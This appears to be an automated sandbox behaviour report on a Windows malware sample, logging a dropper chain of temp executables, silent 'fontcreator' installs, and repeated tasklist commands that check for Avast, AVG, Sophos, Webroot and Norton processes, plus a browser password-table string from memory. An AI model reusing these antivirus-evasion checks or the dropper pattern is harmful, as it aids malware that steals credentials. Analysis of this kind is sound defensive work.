Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 9eba8044e7.exe, 0000003B.00000003.2590533647.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 47%

Source: KOLH45MMED0OMDDRYHIG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: FRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeR

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe "C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe "C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe"
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp" /SL5="$C0076,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp" /SL5="$50284,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp" /SL5="$30472,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp" /SL5="$40474,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\hangbird\Updater.exe "C:\Users\user\AppData\Local\hangbird\\Updater.exe" "C:\Users\user\AppData\Local\hangbird\\caliculus.csv"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe "C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe "C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe "C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe "C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp" /SL5="$C0076,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp" /SL5="$50284,2820349,845824,C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\hangbird\Updater.exe "C:\Users\user\AppData\Local\hangbird\\Updater.exe" "C:\Users\user\AppData\Local\hangbird\\caliculus.csv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp" /SL5="$30472,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp "C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp" /SL5="$40474,2820349,845824,C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: mscoree.dll	Jump to behavior
